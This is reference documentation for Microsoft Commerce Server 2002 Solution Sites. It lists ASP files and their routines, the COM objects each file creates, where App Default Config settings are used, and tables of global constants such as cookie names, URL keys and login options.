CheckIfProfilesExist

dictGetpropertyFromList

dictGetSearchDictionaryForPage

GetSearchDictionaryForThisPage

iGetCountOfProfiles

iGetCurrentUserPropertyAccessClass

InitializePagingVariables

listCloneProfileSchema

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

PopulateOrderSearchCriteria

PopulateProfileSearchCriteria

ReDirectToPage

RelocateRecordPointer

SetGlobalPagingVariables

sGetDisplayValueForProperty

sGetOrderStatusDetails

sGetParentDN

sGetSelectActionPropertyName

sGetThisPageProperty

sGetUserAccessForThisProperty

sGetUserPartnerDeskRole

sGetUserStatus

TDTag

THTag

TRTag

ValidateFields

See Also

Services\Include Folder


list_handlers.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains the action handler used when selecting items in list-type pages.

Routines

SelectedActionHandlerForList

See Also

Services\Include Folder


logic_orders.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines to prepare the order page before rendering.

Routines

AddDiscountMessages

mscsGetOrderGroupWithDiscountsByID

PrepareOrderList

sGetAddressName

sGetPaymentMethodString

See Also

Services\Include Folder


messagebox_handlers.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains the action handler for the Save changes confirmation message box.

Routines

htmSaveChangesConfirmationHandler

PrepareSaveChangesConfirmation

See Also

Services\Include Folder


order_handlers.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains action handlers for the order details page.

Routines

CloseOrderDetailsActionHandler

htmOrderDetailsActionHandler

htmRenderOrderDetailsForIDs

PrepareCloseOrderDetailsAction

PrepareOrderDetailsAction

RedirectOrderDetailsForIDs

See Also

Services\Include Folder


password_handlers.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains action handlers for the change password form.

Routines

ChangeActionHandler

htmCancelUpdatePasswordAction

UpdatePasswordActionHandler

See Also

Services\Include Folder


profiles_common.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines to build T_SQL statements for use with the Profiling System.

Routines

GetODBCTimeStamp

GetTableNameAndWhereClause

HandleSingleQuote

sAddCriteriaToQuery

sAddEndDate

sAddSetClause

sAddSQLNumber

sAddSQLString

sAddStartDate

sConstructWHEREclause

See Also

Services\Include Folder


render_common.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common rendering functions.

Routines

cellRenderReadOnlyProperty

colRenderAdvancedSearchTab

colRenderCountryNames

colRenderSimpleSearchTab

formRenderPagingButtons

htmRenderBlankSpaces

htmRenderBoolean

htmRenderCountries

htmRenderEmptyRecordSet

htmRenderOrderDateTypes

htmRenderOrderStatusOptions

htmRenderPartnerDeskRoles

htmRenderSelectEndTag

htmRenderSelectTag

htmRenderSiteTerm

htmRenderUserStatusOptions

rowRenderEditSheetBlankLine

rowRenderHeader

rowRenderSearchOptionForDate

rowRenderSearchOptionForInteger

rowRenderSearchOptionForString

rowRenderStatusInfo

sGetPageHeading

sReConstructPageURL

sReplaceString

tableRenderFooterInfo

See Also

Services\Include Folder


render_edit_blank.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common rendering functions for blank editing pages.

Routines

formRenderBlankEditPageBody

htmRenderBlankEditPage

rowRenderBlankProperty

tableRenderBlankProfile

See Also

Services\Include Folder


render_edit_common.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common rendering functions for editing pages.

Routines

colRenderForeignKeyProperty

colRenderPasswordProperty

colRenderPrimaryKeyProperty

colRenderProperty

colRenderPropertyTip

colRenderUniqueKeyProperty

formRenderEditPageBody

htmRenderEditPage

rowRenderHiddenProperty

rowRenderProperty

rowRenderPropertyGroup

rowRenderPropertyTip

rowRenderReadOnlyProperty

sRenderHTMLPreFixForProperty

tableRenderEditPageTasks

tableRenderProfiles

varGetPropertyValue

varGetValueFromPropertyDictionaries

varGetValueFromRequestObject

varUpdateValueForCurrentAction

See Also

Services\Include Folder


render_edit_multi.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is intentionally empty.

Routines

None.

See Also

Services\Include Folder


render_edit_single.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is intentionally empty.

Routines

None.

See Also

Services\Include Folder


render_list.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common list rendering routines.

Routines

arrPopulateProfileDetails

formRenderListPageContents

formRenderProfileSearchOptions

htmRenderProfilesList

htmRenderUniqueIDForProfile

RelocateRecordPointer2

rowRenderListHeading

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

tableRenderListPageTasks

tableRenderMultipleRecords

See Also

Services\Include Folder


render_messagebox.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions for rendering various types of message boxes.

Routines

htmRenderMessageBoxForCancel

htmRenderMessageBoxForDelete

htmRenderMessageBoxForDeleteAll

htmRenderMessageBoxForSave

htmRenderMessageBoxForSelect

htmRenderMessageBoxPage

rowRenderMessageBoxPageContents

tableRenderMessageBoxPage

tableRenderMessageBoxPageButtons

See Also

Services\Include Folder


render_orders.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions for rendering the orders page.

Routines

arrPopulateOrderHeaderDetails

formRenderOrderContents

formRenderOrderSearchOptions

formRenderOrdersListContents

htmRenderOrderDetails

htmRenderOrderList

rowRenderAdvancedSearchOptionsForOrders

rowRenderLineItemHeader

rowRenderListHeadingForOrders

rowRenderSimpleSearchOptionsForOrders

sRenderAddress

tableRenderOrdersListContents

tableRenderOrdersListTasks

tblOrderDetailsTasks

tblRenderOrderDetailsContents

See Also

Services\Include Folder


render_password.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions for rendering the change password form.

Routines

formRenderChangePasswordPageContents

htmRenderChangePasswordPage

tableChangePasswordTasks

tableRenderChangePasswordContents

See Also

Services\Include Folder


requisition.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines for retrieving orders and order details requested by the user.

Routines

rsGetOrderDetails

rsGetOrdersList

See Also

Services\Include Folder


save_all_profiles.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common routines for saving profiles when the Select All option is in use.

Routines

AddSetClauseAndUpdateUserAccountControl

GetUserAccountControl

sAddWhereClauseForActiveUsers

sAddWhereClauseForPartnerRole

SaveAllSelectedProfiles

UpdateUserAccountControlProperty

See Also

Services\Include Folder


save_multiple_profiles.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is empty. In multi-select mode, profiles are saved one-by-one by the save_one_profile.asp file.

Routines

None.

See Also

Services\Include Folder


save_one_profile.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common routines for creating and saving single profiles. In multi-select cases, the profiles are saved one-by-one.

Routines

bHandlePaintingACLsForUsersInAD

bInsertProfile

bInsertProfileDetails

bInsertProperty

bSaveProfileAndRedirect

bSaveProfileDetails

bSaveProperty

bSaveReadWriteProperty

GetActiveUsersOnly

InsertHiddenProperty

SaveCommonValueForAllSelectedRecords

SaveProfileProperty

SaveReadOnlyProperty

SaveSAMAccountNameProperty

SaveUserAccountControlProperty

SaveUserParentDNProperty

SaveUserPartnerDeskRoleProperty

SaveUserPropertyForID

sGetAdminsOnly

sGetUsersOnly

UpdateSelectActionPropertyName

UpdateUserPasswordProperty

See Also

Services\Include Folder


Partner Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder allow adminstrators to search and view order information, and search and modify profiles that belong to members of their organization. Administrators can also view and modify the profile of their organization.

The following files are contained in this folder.

File | Description
account.asp | Allows administators to view and modify the profile of their organization.
edit_user.asp | Allows administators to add, delete, or modify profiles that belong to members of their organization.
orders.asp | Allows administators to search for orders made by members of their organization.
users.asp | Allows administators to search for profiles that belong to members of their organization.
view_order.asp | Allows administators to view orders made by members of their organization.


account.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows administators to view and modify the profile that belongs to their organization.

Routines

Main

See Also

Services\Partner Folder


edit_user.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows administators to add, delete, or modify profiles that belong to members of their organization.

Routines

htmEditPageActionHandlers

Main

See Also

Services\Partner Folder


orders.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows administators to search for orders made by members of their organization.

Routines

htmOrderListActionHandler

Main

See Also

Services\Partner Folder


users.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows administators to search for profiles that belong to members of their organization.

Routines

htmListPageActionHandlers

Main

See Also

Services\Partner Folder


view_order.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows administators to view orders made by members of their organization.

Routines

Main


change_password.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file initializes the Partner Desk for changing the user_security_password property of a UserObject profile.

Routines

Main

PasswordActionHandlers

See Also

Solution Sites Services Folder


help.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is a placeholder for a help page.

Routines

None.

See Also

Solution Sites Services Folder


Solution Sites Template Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder provide the basic HTML display layout, and routines for ad and discounts banners. For more information about the page layout, see Page Execution Model for Solution Sites.

The following files are contained in this folder.

File | Description
banner.inc | Included by the files layout1.asp and nomenu.asp to display advertising banners for pages in the advertisement page set.
discount.asp | Contains logic for choosing discount banner content.
footer.inc | Provides content that is shown at the bottom of every page that is displayed using the layout1.asp file.
layout1.asp | Provides the HTML display layout for the page content along with an advertising banner, navigation bar, menu, discount banner, and footer.
menu.asp | Prepares and displays the menu bar.
navbar.inc | Included by the file layout1.asp to display the navigation bar.
no_menu.asp | Provides a basic HTML display layout for the page content without a menu, navigation bar, or footer.


banner.inc

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is included by the files layout1.asp and no_menu.asp to display advertising banners for pages in the advertisement page set.

Routines

None.

See Also

Solution Sites Template Folder


discount.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains logic for choosing discount banner content. It is included by the files basket.asp and product.asp.

Routines

CollectBasketItems

CopyProductToItem

GetAncestorCategories

GetBasketDetails

GetInputParameters

GetShownProductsDetails

listGetShownProductsInfo

oCachedDiscountProductInfo

RenderDiscounts

See Also

Solution Sites Template Folder


footer.inc

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides content that is shown at the bottom of every page that is displayed using the layout1.asp file.

Routines

None.

See Also

Solution Sites Template Folder


layout1.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides the HTML display layout for the page content (htmPageContent) along with an advertising banner, navigation bar, menu, discount banner (htmDiscountBannerSlot), and footer. The htmPageContent and htmDiscountBannerSlot HTML strings are calculated by the Main subroutine.

Routines

None.

See Also

Solution Sites Template Folder


menu.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is included to display the menu bar.

Routines

htmRenderCatalogSection

htmRenderCustomerServiceSection

htmRenderLoginSection

htmRenderMenu

htmRenderPartnerServiceSection

htmRenderSearchSection

PrepareCatalogSection

PrepareLoginSection

PrepareRenderMenu

See Also

Solution Sites Template Folder


navbar.inc

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is included by the file layout1.asp to display the navigation bar.

Routines

RenderNavbar

See Also

Solution Sites Template Folder


no_menu.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides a basic HTML display layout for the page content without a menu, navigation bar, or footer.

Routines

None.

See Also

Solution Sites Template Folder


Solution Sites Reference

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section provides reference material that can be useful in the course of modifying the Solution Sites to create customized and branded commercial Web sites.

All objects described in this section are supported by Commerce Server 2002.

This section contains:

  • Use of Solution Site Objects. Describes where the various Commerce Server 2002 objects are instantiated in the Solution Sites.
  • Use of App Default Config Settings in Solution Sites. Describes where the various App Default Config settings are tested in the Solution Sites code, enabling or disabling the features that affect the differences between the Retail and Supplier Solution Sites.
  • Constants Reference. Describes the constants available for use in the Solution Sites code.
  • Routines Reference. Describes the numerous routines that constitute the majority of the code in the Solution Sites.


Use of Solution Site Objects

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following table lists the Component Object Model (COM) objects created in the Solution Sites and the files where they are created.

All objects described in this section are supported by Commerce Server 2002.

For an object created more than once in a file (usually in different routines), the number of times it is created is shown after the file name. Objects with the vendor section of the ProgID equal to "Commerce" are supplied by Commerce Server 2002.

ProgID | File
ADODB.Connection | include\global_profile_lib.asp
ADODB.Connection | opt-out.asp
ADODB.Recordset | opt-out.asp
ADODB.Recordset | include\addr_lib.asp
ADODB.Recordset | services\include\delete_profiles.asp
ADODB.Recordset | services\include\get_profiles.asp
ADODB.Recordset | services\include\save_all_profiles.asp (2)
AdoDB.Stream | _recvpo.asp
AdoDB.Stream | ReceiveStandard.asp
BizTalk.Interchange | ReceiveStandard.asp
BizTalk.Interchange | include\payment.asp
Commerce.Acl | unpack.vbs
Commerce.AdminEventLog | opt-out.asp
Commerce.AppConfig | RefreshApp.asp
Commerce.AdminEventLog | error\500error.asp
Commerce.AppConfig | include\global_siteconfig_lib.asp
Commerce.AppFrameWork | include\global_main_lib.asp (2)
Commerce.AuthManager | ServiceReminder.asp
Commerce.AuthManager | AuthFiles\autocookie.asp
Commerce.AuthManager | AuthFiles\Login.asp
Commerce.AuthManager | AuthFiles\nocookie.asp
Commerce.AuthManager | include\global_profile_lib.asp
Commerce.AuthManager | include\std_access_lib.asp
Commerce.BusinessDataAdmin | include\global_data_lib.asp
Commerce.BusinessDataAdmin | include\global_siteconfig_lib.asp (2)
Commerce.CacheManager | include\global_cache_lib.asp
Commerce.CatalogManager | include\global_catalog_lib.asp
Commerce.CatalogSets | include\catalog.asp (2)
Commerce.CatalogSets | include\global_catalog_lib.asp
Commerce.CatalogToVendorAssociation | _additem.asp
Commerce.ContentSelector | template\banner.inc
Commerce.ContentSelector | template\discount.asp
Commerce.DataFunctions | unpack.vbs
Commerce.DataFunctions | include\global_data_lib.asp
Commerce.DBStorage | services\include\lib.asp (2)
Commerce.Dictionary | _additem.asp
Commerce.Dictionary | pickship.asp (4)
Commerce.Dictionary | redir.asp (2)
Commerce.Dictionary | include\global_cache_lib.asp (8)
Commerce.Dictionary | include\global_catalog_lib.asp (2)
Commerce.Dictionary | include\global_csf_lib.asp (2)
Commerce.Dictionary | include\global_siteconfig_lib.asp
Commerce.Dictionary | include\global_siteterms_lib.asp
Commerce.Dictionary | include\std_util_lib.asp
Commerce.Dictionary | services\include\lib.asp (2)
Commerce.DictionaryXMLTransforms | _recvpo.asp
Commerce.DictionaryXMLTransforms | include\payment.asp
Commerce.EuroDisplay | include\global_internationalization_lib.asp
Commerce.ExpressionEvaluator | include\global_main_lib.asp
Commerce.GenID | AuthFiles\autocookie.asp
Commerce.GenID | AuthFiles\Login.asp
Commerce.GenID | include\global_data_lib.asp
Commerce.ListManager | opt-out.asp
Commerce.MessageManager | include\global_messagemanager_lib.asp
Commerce.OrderGroup | include\std_ordergrp_lib.asp
Commerce.OrderGroupManager | include\std_ordergrp_lib.asp
Commerce.OrderGroupManager | services\include\requisition.asp (2)
Commerce.OrderPipeline | include\global_csf_lib.asp (3)
Commerce.PredictorClient | include\global_predictor_lib.asp
Commerce.PrivateDWMBToAdmin | include\global_siteconfig_lib.asp
Commerce.ProfileService | include\global_profile_lib.asp
Commerce.ProfileService | include\std_profile_lib.asp
Commerce.Shipping | pickship.asp
Commerce.ShippingMethodManager | pickship.asp
Commerce.SimpleFindResultInfo | services\include\requisition.asp (2)
Commerce.SimpleFindSearchInfo | services\include\requisition.asp (2)
Commerce.SimpleList | basket.asp
Commerce.SimpleList | redir.asp (2)
Commerce.SimpleList | include\global_profile_lib.asp
Commerce.SimpleList | include\global_siteterms_lib.asp
Commerce.SimpleList | include\std_util_lib.asp (2)
Commerce.SimpleList | services\include\lib.asp (2)
Commerce.SimpleList | template\discount.asp
Commerce.SiteConfig | unpack.vbs
Commerce.SiteConfig | include\global_siteconfig_lib.asp
Commerce.SiteConfigReadOnly | include\global_data_lib.asp
MSXML.DOMDocument | include\global_messagemanager_lib.asp
MSXML.DOMDOCUMENT | include\payment.asp
Scripting.FileSystemObject | unpack.vbs
Scripting.FileSystemObject | include\std_pipeline_lib.asp
Scripting.FileSystemObject | include\std_util_lib.asp
VBScript.RegExp | include\addr_lib.asp
VBScript.RegExp | include\std_util_lib.asp
VBScript.RegExp | services\include\lib.asp
WindowsInstaller.Installer | unpack.vbs
WScript.Shell | unpack.vbs
Wscript.Shell | include\global_siteconfig_lib.asp

Related Commerce Server 2002 Help Topics

Programmer's Reference\Object Reference

See Also

Initialization of Solution Sites


Use of App Default Config Settings in Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following table lists the App Default Config properties and where these properties are referenced in the Solution Sites. For a property referenced more than once in a file, the number of times it is referenced is shown after the file name.

Property | Referencing File
f_AltCurrencyConversionRate | include\global_internationalization_lib.asp
i_AddItemRedirectOptions | _additem.asp (2)
i_AddressBookOptions | addrbook.asp basket.asp newaddr.asp include\std_util_lib.asp
i_AltCurrencyLocale | include\global_internationalization_lib.asp
i_AltCurrencyOptions | include\global_creditcards_lib.asp include\global_forms_lib.asp include\std_util_lib.asp
i_AuctionsOptions | Not referenced in the Solution Sites.
i_BaseCurrencyLocale | include\global_internationalization_lib.asp include\std_util_lib.asp
i_BillingOptions | Not referenced in the Solution Sites.
i_BizTalkOptions | _additem.asp include\payment.asp
i_CookiePathCorrectionOptions | include\std_cookie_lib.asp
i_CurrencyDisplayOrderOptions | include\std_util_lib.asp
i_DelegatedAdminOptions | services\include\lib.asp services\include\render_orders.asp template\menu.asp
i_FormLoginOptions | include\std_access_lib.asp (3) login\login.asp (3) login\logoff.asp (3) login\newuser.asp template\menu.asp
i_FormLoginTimeOut | login\login.asp (2) login\newuser.asp (2)
i_HostNameCorrectionOptions | include\std_cookie_lib.asp
i_IsFullTextSearchInstalled | search.asp
i_PaymentOptions | include\global_siteconfig_lib.asp (2)
i_ShipToLevelOptions | Not referenced in the Solution Sites.
i_ShoppingListOptions | Not referenced in the Solution Sites.
i_SiteDefaultLocale | include\std_profile_lib.asp (2)
i_SitePrivacyOptions | include\std_access_lib.asp include\std_profile_lib.asp
i_SiteRegistrationOptions | login\login.asp login\newuser.asp template\menu.asp
i_SiteTicketOptions | stepsrch.asp include\std_access_lib.asp include\std_cache_lib.asp (2) include\std_cookie_lib.asp include\std_profile_lib.asp (3) include\std_url_lib.asp login\login.asp login\newuser.asp template\menu.asp
s_AltCurrencyCode | include\global_internationalization_lib.asp
s_AltCurrencySymbol | include\global_internationalization_lib.asp (2)
s_AnonymousUserDefaultCatalogSet | include\catalog.asp (2)
s_AuthenticatedUserDefaultCatalogSet | include\catalog.asp (2)
s_BaseCurrencyCode | crdtcard.asp po.asp include\global_internationalization_lib.asp
s_BaseCurrencySymbol | include\global_internationalization_lib.asp (2) include\std_util_lib.asp
s_BizDataStoreConnectionString | include\global_data_lib.asp include\global_main_lib.asp include\global_siteconfig_lib.asp (2)
s_BizTalkCatalogDocType | Not referenced in the Solution Sites, but is used in Commerce Server Business Desk.
s_BizTalkConnString | Not referenced in the Solution Sites.
s_BizTalkOrderDocType | include\payment.asp
s_BizTalkSourceQualifierID | include\payment.asp
s_BizTalkSourceQualifierValue | include\payment.asp
s_BizTalkSubmittypeQueue | include\payment.asp
s_CampaignsConnectionString | opt-out.asp include\global_cache_lib.asp
s_CatalogConnectionString | _additem.asp BDRefresh.asp include\catalog.asp (2) include\global_catalog_lib.asp (2) include\std_pipeline_lib.asp
s_CommerceProviderConnectionString | include\global_profile_lib.asp services\include\delete_profiles.asp services\include\save_all_profiles.asp (3)
s_NonSecureHostname | include\global_siteconfig_lib.asp (2) include\std_cookie_lib.asp
s_PageEncodingCharset | include\global_main_lib.asp
s_ProfileServiceConnectionString | include\global_profile_lib.asp include\std_profile_lib.asp
s_SecureHostname | include\global_siteconfig_lib.asp include\std_cookie_lib.asp
s_SiteName | template\layout1.asp template\no_menu.asp
s_SMTPServerName | Not referenced in the Solution Sites.
s_TransactionConfigConnectionString | BDRefresh.asp pickship.asp (2) include\catalog.asp (2) include\global_cache_lib.asp (10) include\global_catalog_lib.asp include\std_pipeline_lib.asp (2)
s_TransactionsConnectionString | include\std_ordergrp_lib.asp (2) services\include\lib.asp (2) services\include\requisition.asp (2)
s_WeightMeasure | Not referenced in the Solution Sites, but is used in Business Desk.

See Also

App Default Config Settings


Constants Reference

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Existing global constants are declared in a type library. There are two files named const.asp in the Solution Sites. The distinction between them is their scope—that is, which files include them. The file services\include\const.asp contains constants specific to Partner and Customer Services. An empty file, include\const.asp, is included in all the other Active Server Pages (ASP) pages in the Solution Sites.

This section contains:

  • Partner/Customer Service Constants
  • Global Constants

See Also

Constants


Partner/Customer Service Constants

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The file services\include\const.asp contains constants specific to Partner and Customer Services. The following pages include this file:

  • services\customer\account.asp
  • services\customer\orders.asp
  • services\customer\view_order.asp
  • services\partner\account.asp
  • services\partner\edit_user.asp
  • services\partner\orders.asp
  • services\partner\users.asp
  • services\partner\view_order.asp

See Also

Global Constants

Constants Reference

Constants


Global Constants

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The AppConsts 1.0 Type Library is included in the global.asa file. The full source code used to compile this type library is in the Microsoft Commerce Server SDK at <Drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Solution Sites\AppConsts.idl. Use this file as a starting point if you want to change any values in the type library. If you change any of the values in this type library, you will need to recompile the type library for your changes to become effective.

An empty file, include\const.asp, is included in all the Active Server Pages(ASP) pages other than Partner and Customer Services. You can declare constants in it to avoid rebuilding the AppConsts 1.0 Type Library.

The following topics list the constants declared in the AppConsts 1.0 Type Library:

  • HTMLLib Constants
  • Miscellaneous Constants
  • Access Constants
  • AppConfig Values

See Also

Partner Service Constants

Constants Reference

Constants


HTMLLib Constants

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following constants are declared in the AppConsts 1.0 Type Library.

Constant | Data Type | Value
Post types |  |
HTTP_POST | LONG | 1
HTTP_GET | LONG | 2
Collection types |  |
SIMPLELIST_COLLECTION | LONG | 1
DICTIONARY_COLLECTION | LONG | 2
ARRAY_COLLECTION | LONG | 3
Row types |  |
HEADER_ROW | LONG | 1
DATA_ROW | LONG | 2
Commonly used elements |  |
CR | BSTR | L"<BR>"
CRLF | BSTR | L"<P></P>"
BR | BSTR | L"<BR>"
HR | BSTR | L"<HR>"
NBSP | BSTR | L"&nbsp"
NOWRAP | BSTR | L"NOWRAP"
LJ | BSTR | L"LEFT"
RJ | BSTR | L"RIGHT"
CJ | BSTR | L"CENTER"
ALIGN_LEFT | BSTR | L"LEFT"
ALIGN_RIGHT | BSTR | L"RIGHT"
ALIGN_CENTER | BSTR | L"CENTER"

See Also

Miscellaneous Constants

Access Constants

AppConfig Values

Global Constants

Partner Service Constants


Miscellaneous Constants

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following constants are declared in the AppConsts 1.0 Type Library.

Constant | Data Type | Value
Pipeline |  |
BASKET_ERRORS | BSTR | L"_Basket_Errors"
PURCHASE_ERRORS | BSTR | L"_Purchase_Errors"
ORDERFORMS | BSTR | L"OrderForms"
ORDERGROUP_ID | BSTR | L"ordergroup_id"
PREFERRED_BILLING_CURRENCY | BSTR | L"preferred_billing_currency"
FIRST_NAME | BSTR | L"first_name"
LAST_NAME | BSTR | L"last_name"
DEFAULT_ORDERFORM | BSTR | L"Default"
SHIPPING_METHOD_NAME | BSTR | L"shipping_method_name"
ADDRESS_ID | BSTR | L"address_id"
ADDRESS_PARENT_ID | BSTR | L"ID"
ADDRESS_NAME | BSTR | L"address_name"
REGION_NAME | BSTR | L"region_name"
REGION_CODE | BSTR | L"region_code"
POSTAL_CODE | BSTR | L"postal_code"
ADDRESS_COUNTRY | BSTR | L"country_code"
Forms |  |
CONFIRM_PASSWORD | BSTR | L"confirm_password"
General |  |
MODIFIED_BY | BSTR | L"user_id_changed_by"
DATE_REGISTERED | BSTR | L"date_registered"
DATE_CREATED | BSTR | L"date_created"

See Also

HTMLLib Constants

Access Constants

AppConfig Values

Global Constants

Partner Service Constants


Access Constants

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following constants are declared in the AppConsts 1.0 Type Library.

Constant | Data Type | Value
m_UserAccessType |  |
GUEST_VISIT | LONG | 1
IIS_AUTH | LONG | 2
TICKET_AUTH | LONG | 3
ANON_VISIT | LONG | 5
iUserType |  |
ANON_USER | LONG | 1
GUEST_USER | LONG | 2
AUTH_USER | LONG | 4
AuthManager ticket types |  |
GUEST_TICKET | LONG | 1
AUTH_TICKET | LONG | 2
PROFILE_TYPE |  |
GUEST_PROFILE | LONG | 0
REGISTERED_PROFILE | LONG | 1
Cookie names |  |
GUEST_TICKET_NAME | BSTR | L"MSCSProfile"
AUTH_TICKET_NAME | BSTR | L"MSCSAuth"
TEST_COOKIE_NAME | BSTR | L"mscs_test_cookie_name"
TEST_COOKIE_VALUE | BSTR | L"mscs_test_cookie_value"
Ticket modes |  |
WRITE_TICKET_TO_COOKIE | BOOL | -1
WRITE_TICKET_TO_URL | BOOL | 0
Account status |  |
ACCOUNT_INACTIVE | LONG | 0
ACCOUNT_ACTIVE | LONG | 1
Operational environment |  |
PRODUCTION | LONG | 1
DEVELOPMENT | LONG | 0
Site installation point |  |
HOME_DIRECTORY | LONG | 1
VIRTUAL_DIRECTORY | LONG | 2
Format control |  |
CONTROL_ERROR_TEMPLATE | BSTR | L"%1%2"
BRACKETED_TEMPLATE | BSTR | L"[%1]"
SINGLE_QUOTE_TEMPLATE | BSTR | L"'%1'"
SELECT_CLAUSE_TEMPLATE_3 | BSTR | L"SELECT %1 FROM %2 WHERE %3 ORDER BY %4"
LABEL_TEMPLATE | BSTR | L"%1:"
FULLNAME_TEMPLATE | BSTR | L"%1%2"
KEYVALUE_TEMPLATE | BSTR | L"%1=%2"
Buttons, post, and URL keys |  |
MODE | BSTR | L"mode"
ACTION_BTN_CTRL_NAME | BSTR | L"btnAction"
SUBMIT_BUTTON | BSTR | L"btnSubmit"
RESET_BUTTON | BSTR | L"btnReset"
ADDRESS_TYPE | BSTR | L"address_type"
PAGENUMBER_URL_KEY | BSTR | L"Page"
DEF_NAME_URL_KEY | BSTR | L"def_name"
CATALOG_NAME_URL_KEY | BSTR | L"catalog_name"
CATEGORY_NAME_URL_KEY | BSTR | L"category_name"
PRODUCT_ID_URL_KEY | BSTR | L"product_id"
PRODUCT_QTY_URL_KEY | BSTR | L"product_qty"
PRODUCT_ACTION_KEY | BSTR | L"ActionKey"
VARIANT_ID_URL_KEY | BSTR | L"variant_id"
ITEM_INDEX_URL_KEY | BSTR | L"index"
ORDERFORM_NAME | BSTR | L"orderform_name"
ORDER_ID | BSTR | L"order_id"
ORDER_NUMBER | BSTR | L"order_number"
BILLING_USE | BSTR | L"use_for_billing"
CHECKED | BSTR | L"1"
GUIDS | BSTR | L"ID"
SOURCE_PAGE | BSTR | L"SourcePage"
ADD_ACTION | BSTR | L"New"
ADDRBK_MODE | BSTR | L"addrbk_mode"
RETURN_URL | BSTR | L"return_url"
PO_ITEMINDEX_URL_KEY | BSTR | L"po_index"
SHIPPING_METHOD_URL_KEY | BSTR | L"chkShippingMethod"

See Also

HTMLLib Constants

Miscellaneous Constants

AppConfig Values

Global Constants

Partner Service Constants


AppConfig Values

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following constants are declared in the AppConsts 1.0 Type Library.

Constant | Data Type | Value
i_AddressBookOption |  |
ADDRESSBOOK_DISABLED | LONG | 0
ADDRESSBOOK_READONLY | LONG | 1
ADDRESSBOOK_READWRITE | LONG | 2
i_AddItemRedirectOptions |  |
REDIRECT_TO_BASKET | LONG | 0
REDIRECT_TO_PRODUCT | LONG | 1
i_AltCurrencyOptions |  |
ALTCURRENCY_DISPLAY_DISABLED | LONG | 0
ALTCURRENCY_DISPLAY_ENABLED | LONG | 1
i_BillingOptions |  |
NO_BILLING_OPTIONS | LONG | 0
STANDALONE_PO | LONG | 2
i_BizTalkOptions |  |
BIZTALK_PO_XFER_DISABLED | LONG | 0
BIZTALK_PO_XFER_ENABLED | LONG | 1
i_CurrencyDisplayOrderOptions |  |
DISPLAY_BASE_CURRENCY_FIRST | LONG | 0
DISPLAY_ALT_CURRENCY_FIRST | LONG | 1
i_DelegatedAdminOptions |  |
DELEGATED_ADMIN_NOT_SUPPORTED | LONG | 0
DELEGATED_ADMIN_SUPPORTED | LONG | 1
i_FormLoginOptions |  |
FORM_LOGIN_NOT_SUPPORTED | LONG | 0
FORCE_LOGIN_ON_ENTRANCE | LONG | 1
LOGIN_OPTIONAL_ON_ENTRANCE | LONG | 2
FORCE_LOGIN_ON_PURCHASE | LONG | 5
LOGIN_OPTIONAL_ANY_TIME | LONG | 6
USE_IIS_AUTH | LONG | 7
i_PaymentOptions |  |
CREDIT_CARD_PAYMENT_OPTION | LONG | 1
PURCHASE_ORDER_PAYMENT_OPTION | LONG | 4
i_HostNameCorrectionOptions |  |
HOSTNAME_CORRECTION_DISABLED | LONG | 0
HOSTNAME_CORRECTION_ENABLED | LONG | 1
